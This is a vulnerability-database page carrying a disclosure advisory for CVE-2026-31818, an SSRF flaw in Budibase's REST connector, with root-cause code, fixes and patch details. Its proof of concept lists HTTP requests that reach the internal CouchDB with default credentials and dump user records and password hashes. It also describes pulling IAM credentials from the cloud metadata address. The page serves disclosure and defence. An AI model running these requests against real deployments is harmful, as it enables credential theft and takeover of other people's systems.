NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

CVE-2026-31818 — @budibase/backend-core

CRITICALFix: Budibase/budibase@5b0fe83

CVE-2026-31818 is a critical-severity (CVSS 9.6) Server-Side Request Forgery (SSRF) vulnerability in @budibase/backend-core. A fix is available for @budibase/backend-core — see the affected versions and patch details below.

Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist

Also known asGHSA-7r9j-r86q-7g45
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-31818.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs33th percentile — riskier than 33% of all scored CVEsHighest risk
0.00%0.31%0.62%0.93%0.0%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

7other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@budibase/backend-corenpm
6Kdownloads / week

Description

1. Summary

FieldValue
TitleSSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration
ProductBudibase
Version3.30.6 (latest stable as of 2026-02-25)
ComponentREST Datasource Integration + Backend-Core Blacklist Module
SeverityCritical
Attack VectorNetwork
Privileges RequiredLow (Builder role, or QUERY WRITE for execution of pre-existing queries)
User InteractionNone
Affected DeploymentsAll self-hosted instances without explicit BLACKLIST_IPS configuration (believed to be the vast majority)

2. Description

A critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase's REST datasource connector. The platform's SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the BLACKLIST_IPS environment variable is not set by default in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns false, allowing all requests through without restriction.

This allows any user with Builder privileges (or QUERY WRITE permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses — including credentials, database contents, and internal service metadata.

The vulnerability is particularly severe because:

  1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data
  2. CouchDB credentials are embedded in the environment variables visible to the application container
  3. A successful exploit grants full read/write access to the entire Budibase data layer

3. Root Cause Analysis

3.1 Blacklist Implementation

File: packages/backend-core/src/blacklist/blacklist.ts

// Line 23-37: Blacklist refresh reads from environment variable
export async function refreshBlacklist() {
  const blacklist = env.BLACKLIST_IPS           // ← reads BLACKLIST_IPS
  const list = blacklist?.split(",") || []       // ← empty array if unset
  let final: string[] = []
  for (let addr of list) {
    // ... resolves domains to IPs
  }
  blackListArray = final                         // ← empty array
}

// Line 39-54: Blacklist check
export async function isBlacklisted(address: string): Promise<boolean> {
  if (!blackListArray) {
    await refreshBlacklist()
  }
  if (blackListArray?.length === 0) {
    return false                                 // ← ALWAYS returns false when empty
  }
  // ... rest of check never executes
}

Problem: When BLACKLIST_IPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.

3.2 Default Configuration Missing BLACKLIST_IPS

File: hosting/.env (official Docker Compose deployment template)

MAIN_PORT=10000
API_ENCRYPTION_KEY=testsecret
JWT_SECRET=testsecret
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
COUCH_DB_PASSWORD=budibase
COUCH_DB_USER=budibase
REDIS_PASSWORD=budibase
INTERNAL_API_KEY=budibase
# ... (19 other variables)
# BLACKLIST_IPS is NOT present

No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.

3.3 REST Integration Blacklist Check

File: packages/server/src/integrations/rest.ts

// Line 684-686: Blacklist check before fetch
const url = this.getUrl(path, queryString, pagination, paginationValues)
if (await blacklist.isBlacklisted(url)) {     // ← always false
  throw new Error("Cannot connect to URL.")   // ← never reached
}
// Line 708:
response = await fetch(url, input)             // ← unrestricted fetch

3.4 Authorization Model

OperationEndpointRequired Permission
Create datasourcePOST /api/datasourcesBUILDER (app-level)
Create queryPOST /api/queriesBUILDER (app-level)
Execute queryPOST /api/v2/queries/:idQUERY WRITE (can be granted to any app user)

Route definitions:

  • packages/server/src/api/routes/datasource.ts:19 → builderRoutes
  • packages/server/src/api/routes/query.ts:33 → builderRoutes (create)
  • packages/server/src/api/routes/query.ts:55-66 → writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)

Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBAL_BUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.


4. Impact Analysis

4.1 Confidentiality — Critical

An attacker can read:

  • All CouchDB databases (/_all_dbs)
  • User credentials including bcrypt password hashes, email addresses (/global-db/_all_docs?include_docs=true)
  • Platform configuration including encryption keys, JWT secrets
  • All application data across every app in the instance
  • Internal service metadata (MinIO storage, Redis)

4.2 Integrity — High

Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can:

  • Modify user records to escalate privileges
  • Create new admin accounts directly in CouchDB
  • Alter application data in any app's database
  • Delete databases causing data loss

4.3 Availability — Medium

  • Resource exhaustion by making the server proxy large responses from internal services
  • Database destruction via CouchDB DELETE operations
  • Service disruption by modifying critical configuration documents

4.4 Scope Change

The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to:

  • CouchDB (database layer)
  • MinIO (storage layer)
  • Redis (cache/session layer)
  • Any other service accessible from the Docker network

5. Proof of Concept

5.1 Environment Setup

cd hosting/
docker compose up -d
# Wait for services to start
# Create admin account via POST /api/global/users/init
# Login to obtain session cookie

Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env

5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB

POST /api/datasources HTTP/1.1
Host: localhost:10000
Content-Type: application/json
Cookie: budibase:auth=<session_token>
x-budibase-app-id: <app_id>

{
  "datasource": {
    "name": "Internal CouchDB",
    "source": "REST",
    "type": "datasource",
    "config": {
      "url": "http://couchdb-service:5984",
      "defaultHeaders": {}
    }
  }
}

Response (201 — datasource created successfully):

{
  "datasource": {
    "_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6",
    "name": "Internal CouchDB",
    "source": "REST",
    "config": { "url": "http://couchdb-service:5984" }
  }
}

No warning, no validation error — an internal hostname is accepted without restriction.

5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)

Create and execute a query to GET /:

POST /api/v2/queries/<query_id> HTTP/1.1

Response — Internal CouchDB data returned to the attacker:

{
  "data": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "git_sha": "40afbcfc7",
    "uuid": "9cd97b58e2cef72e730a83247c377d2b",
    "features": ["search","access-ready","partitioned",
                 "pluggable-storage-engines","reshard","scheduler"],
    "vendor": {"name": "The Apache Software Foundation"}
  }],
  "code": 200,
  "time": "44ms"
}

5.4 Step 3 — Enumerate All Databases

Query: GET /_all_dbs with CouchDB admin credentials (from .env: budibase:budibase)

{
  "data": [
    {"value": "_replicator"},
    {"value": "_users"},
    {"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"},
    {"value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"},
    {"value": "global-db"},
    {"value": "global-info"}
  ]
}

5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets

Query: GET /global-db/_all_docs?include_docs=true&limit=20 Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)

Response — Full user record with bcrypt hash:

{
  "data": [{
    "total_rows": 4,
    "rows": [
      {
        "id": "config_settings",
        "doc": {
          "_id": "config_settings",
          "type": "settings",
          "config": {
            "platformUrl": "http://localhost:10000",
            "uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
          }
        }
      },
      {
        "id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
        "doc": {
          "_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
          "email": "[email protected]",
          "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK",
          "builder": {"global": true},
          "admin": {"global": true},
          "tenantId": "default",
          "status": "active"
        }
      },
      {
        "id": "usage_quota",
        "doc": {
          "_id": "usage_quota",
          "quotaReset": "2026-03-01T00:00:00.000Z",
          "usageQuota": {"apps": 2, "users": 1, "creators": 1}
        }
      }
    ]
  }]
}

Exfiltrated data includes:

  • Admin email: [email protected]
  • Bcrypt password hash: $2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK
  • Role information: builder.global: true, admin.global: true
  • Tenant ID, platform URL, quota information

5.6 Step 5 — Access Other Internal Services

MinIO (Object Storage):

Datasource URL: http://minio-service:9000
Response: {"Code":"BadRequest","Message":"An unsupported API call..."}
Server header: MinIO

Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.

Redis (Port Scanning):

Datasource URL: http://redis-service:6379
Response: "fetch failed" (Redis speaks non-HTTP protocol)

Different error from non-existent host → confirms service discovery capability.

Non-existent service:

Datasource URL: http://nonexistent-service:12345
Response: "fetch failed"

5.7 Service Discovery Matrix

TargetURLResponseService Confirmed
CouchDBhttp://couchdb-service:5984/{"couchdb":"Welcome","version":"3.3.3"}Yes — full data access
MinIOhttp://minio-service:9000/XML error with Server: MinIO headerYes — storage access
Redishttp://redis-service:6379/socket hang up / fetch failedYes — port open
Non-existenthttp://nonexistent:12345/fetch failed (ENOTFOUND)No — different error

This differential response enables internal network mapping.


6. Attack Scenarios

Scenario A: Builder User Steals All Credentials

  1. User has Builder role for one app
  2. Creates REST datasource → http://couchdb-service:5984
  3. Queries global-db to get all user records with password hashes
  4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT

Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)

  1. Attacker has Creator role (lower than Builder)
  2. Exploits CVE-2026-25040 to invite themselves as Admin
  3. Now has Builder access → exploits this SSRF
  4. Complete instance takeover

Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)

  1. On cloud-hosted instances, datasource URL: http://169.254.169.254/latest/meta-data/
  2. Retrieves IAM credentials, instance metadata
  3. Pivots to cloud infrastructure

7. Affected Code Paths

User Request
    │
    ▼
POST /api/datasources                          [BUILDER permission]
    │  packages/server/src/api/routes/datasource.ts:32
    │  → No URL validation on datasource.config.url
    ▼
POST /api/v2/queries/:queryId                  [QUERY WRITE permission]
    │  packages/server/src/api/routes/query.ts:63
    ▼
packages/server/src/threads/query.ts
    │  → Executes query via REST integration
    ▼
packages/server/src/integrations/rest.ts
    │  Line 684: blacklist.isBlacklisted(url)   → returns false (empty list)
    │  Line 708: fetch(url, input)              → unrestricted request
    ▼
Internal Service (CouchDB, MinIO, Redis, etc.)
    │
    ▼
Response returned to attacker via query results

8. Recommended Fixes

Fix 1 (Critical): Add Default Private IP Blocklist

// packages/backend-core/src/blacklist/blacklist.ts

const DEFAULT_BLOCKED_RANGES = [
  "127.0.0.0/8",       // localhost
  "10.0.0.0/8",        // RFC1918
  "172.16.0.0/12",     // RFC1918
  "192.168.0.0/16",    // RFC1918
  "169.254.0.0/16",    // link-local / cloud metadata
  "0.0.0.0/8",         // current network
  "::1/128",           // IPv6 localhost
  "fc00::/7",          // IPv6 private
  "fe80::/10",         // IPv6 link-local
]

export async function isBlacklisted(address: string): Promise<boolean> {
  // Always check against default blocked ranges
  // even when BLACKLIST_IPS is not configured
  const ips = await resolveToIPs(address)
  for (const ip of ips) {
    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {
      return true
    }
  }
  // Then check user-configured blacklist
  // ...existing logic...
}

Fix 2 (High): Validate Datasource URLs at Creation Time

// packages/server/src/api/controllers/datasource.ts

async function save(ctx) {
  const { config } = ctx.request.body.datasource
  if (config?.url) {
    if (await blacklist.isBlacklisted(config.url)) {
      ctx.throw(400, "Cannot create datasource targeting internal network")
    }
  }
  // ... existing logic
}

Fix 3 (Medium): Add DNS Rebinding Protection

Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.

Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect

Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@budibase/backend-coreall versions3.33.4npm install @budibase/backend-core@3.33.4

Affected Products

1 product · 1 configurations
Application
budibasebudibase
< 3.33.4
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/backend-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @budibase/backend-core to 3.33.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-31818 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## 1. Summary | Field | Value | |-------|-------| | **Title** | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration | | **Product** | Budibase | | **Version** | 3.30.6 (latest stable as of 2026-02-25) | | **Component** | REST Datasource Integration + Backend-Core Blacklist Module | | **Severity** | Critical | | **Attack Vector** | Network | | **Privileges Required** | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) | | **User Interaction** | None | | **Affected Deployments** | All self-hosted instances without explicit `BLAC
O3 Security · Impact-Aware SCA

Is CVE-2026-31818 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-31818: @budibase/backend — Fixed in 3.33.4